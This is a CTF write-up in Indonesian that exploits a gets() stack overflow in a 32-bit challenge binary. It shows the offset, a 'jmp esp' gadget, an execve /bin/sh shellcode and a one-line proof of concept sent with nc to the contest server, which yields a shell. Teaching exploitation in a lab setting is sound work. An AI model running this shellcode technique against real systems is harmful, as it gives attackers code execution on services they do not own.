Writeup Slashroot 2.0 - Suggestion Box

June 15, 2017

Untuk file binary-nya bisa di-download disini.

service berjalan di 103.200.7.150 8888. Pertama cek terlebih dahulu tipe filenya dengan command file

$ file suggestion_box
suggestion_box: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=ff4f53d9372762065b60f5530714285456171c2d, not stripped

Diketahui binary tersebut tidak di-strip dan executable 32 bit. Saya buka dengan Binary Ninja untuk analisa static.

gets

binary tersebut memanggil fungsi yang vulnerable yaitu gets. see this. Langkah selanjutnya adalah analisa dynamic. Untuk tool dynamic analysis saya terbiasa menggunakan PEDA.

0x00 checking security option

Untuk mengecek proteksi di-binary bisa menggunakan command checksec di PEDA

$ gdb -q ./suggestion_box
Reading symbols from ./suggestion_box...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial
gdb-peda$

Proteksi NX (Non-Executable) di-disable artinya kita dapat mengeksekusi suatu instruksi di beberapa bagian memori salah satunya bagian stack. Strategi yang kita bisa ambil adalah jump to shellcode dimana kita akan menaruh shellcode ke suatu alamat di memori lalu kita arahkan instruction pointer ke alamat tersebut agar instruksi shellcode dijalankan.

0x01 hijacking eip

Untuk memanipulasi alur program, hijack eip/instruction pointer adalah hal yang penting. Proses hijack eip dimulai dari mengoverwrite register itu sendiri dengan mengeksploitasi suatu celah misalnya buffer overflow. Pertama kita harus tau letak eip berada, untuk mempermudah pencarian kita dapat menggunakan fitur pattern di PEDA.

gdb-peda$ pattern create 300
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%'
gdb-peda$ quit

$ echo 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%' > input

gdb-peda$ r < input
Starting program: /home/vagrant/suggestion_box < input
[+] SlashRoot CTF Box Suggestion [+]
Enter your suggestion: Too long dude, we need the point only!

Program received signal SIGSEGV, Segmentation fault.
.....
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41384141 in ?? ()

gdb-peda$ patts
Registers contain pattern buffer:
EBP+0 found at offset: 108
EIP+0 found at offset: 112
.....

Ternyata offset eip ditemukan di 112

higher memory address        [EIP]
      ^                      [EBP  - 112]
      |                      [OFFSET - 108]
      |                      ...
      |                      [OFFSET]
      |                      ...
      |                      ...
      v                      [EAX - 0]
lower memory address

Untuk mengecek kita dapat menggunakan strace

$ python -c 'print "A"*112+"\x12\x34\x56\x78"' | strace ./suggestion_box
execve("./suggestion_box", ["./suggestion_box"], [/* 75 vars */]) = 0
strace: [ Process PID=30495 runs in 32 bit mode. ]
brk(NULL)                               = 0x979a000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
.....
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xf7758000
) = 39
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x78563412} ---

Terlihat bahwa terjadi segmentation fault pada address 0x78563412, address tersebut sesuai dengan input yang kita masukkan namun dalam little-endian. Segmentation fault tersebut terjadi karena instruction pointer menuju pada alamat yang tidak valid yaitu 0x78563412. Pada tahap ini kita berhasil hijack eip.

0x02 find useful gadget

Selanjutnya kita akan mencari gadget yang berguna untuk melancarkan eksploitasi kita.

gdb-peda$ ropsearch "jmp esp"
Searching for ROP gadget: 'jmp esp' in: binary ranges
0x08048500 : (b'ffe45dc3')	jmp esp; pop ebp; ret
0x08049500 : (b'ffe45dc3')	jmp esp; pop ebp; ret

Kita akan memakai gadget dengan alamat 0x08048500 untuk jump ke register esp.

# simpan payload ke file
python -c 'from pwn import *; print "A"*112+p32(0x08048500)' > input

# set breakpoint tepat sebelum program menjalankan fungsi gets()
gdb-peda$ b *main+70

# jalankan program
gdb-peda$ r < input

# stepping pelan-pelan hingga eip menjalankan "jmp esp"

Setelah stepping pelan-pelan (15 kali) EIP menuju alamat gadget kita yaitu 0x08048500

gdb-peda$ n 15
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0xf7fae870 --> 0x0
EDX: 0x0
ESI: 0xf7fad000 --> 0x1b1db0
EDI: 0xf7fad000 --> 0x1b1db0
EBP: 0x41414141 ('AAAA')
ESP: 0xffffce90 --> 0x0
EIP: 0x8048500 (<__init+3>:	jmp    esp)

EIP telah ter-overwrite sehingga menjalankan instruksi jmp esp. Namun isi ESP (0xffffce90) itu kosong sehingga program segfault

0x03 executing shellcode

Sekarang bagaimana caranya kita taruh shellcode kita di alamat ESP (0xffffce90). Balik lagi ke gdb.

# set breakpoint tepat sebelum program mepada saatnjalankan fungsi gets() lalu jalankan
gdb-peda$ b *main+70
gdb-peda$ r < input
gdb-peda$ ni

# lihat isi register esp
gdb-peda$ x/50wx $esp
0xffffce00:	0xffffce1c	0xffffcf2c	0x000000e0	0x00000000
0xffffce10:	0xf7ffd000	0xf7ffd918	0xffffce30	0x41414141
0xffffce20:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffce30:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffce40:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffce50:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffce60:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffce70:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffce80:	0x41414141	0x41414141	0x41414141	0x08048500
0xffffce90:	0x00000000	0xffffcf24	0xffffcf2c	0x00000000
0xffffcea0:	0x00000000	0x00000000	0xf7fad000	0xf7ffdc04
0xffffceb0:	0xf7ffd000	0x00000000	0xf7fad000	0xf7fad000
0xffffcec0:	0x00000000	0x6ccfb4eb

Kita bisa lihat bahwa alamat 0xffffce90 tepat diatas EIP (0x08048500) yang kita overwrite. Artinya kita harus taruh shellcode diatas alamat EIP overwrite agar shellcode tersebut tereksekusi nantinya.

# susun shellcode
gdb-peda$ shellcode generate x86/linux exec
# x86/linux/exec: 24 bytes
shellcode = (
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
    "\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
)

# attack payload
offset     eip      shellcode
[112 bytes][4 bytes][24 bytes]

# inline poc
(python -c 'from pwn import *; print "A"*112+p32(0x08048500)+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"'; cat -) |  nc 103.200.7.150 8888

Setelah menjalankan payload tersebut didapatkan shellnya. asciicast

Comments

comments powered by Disqus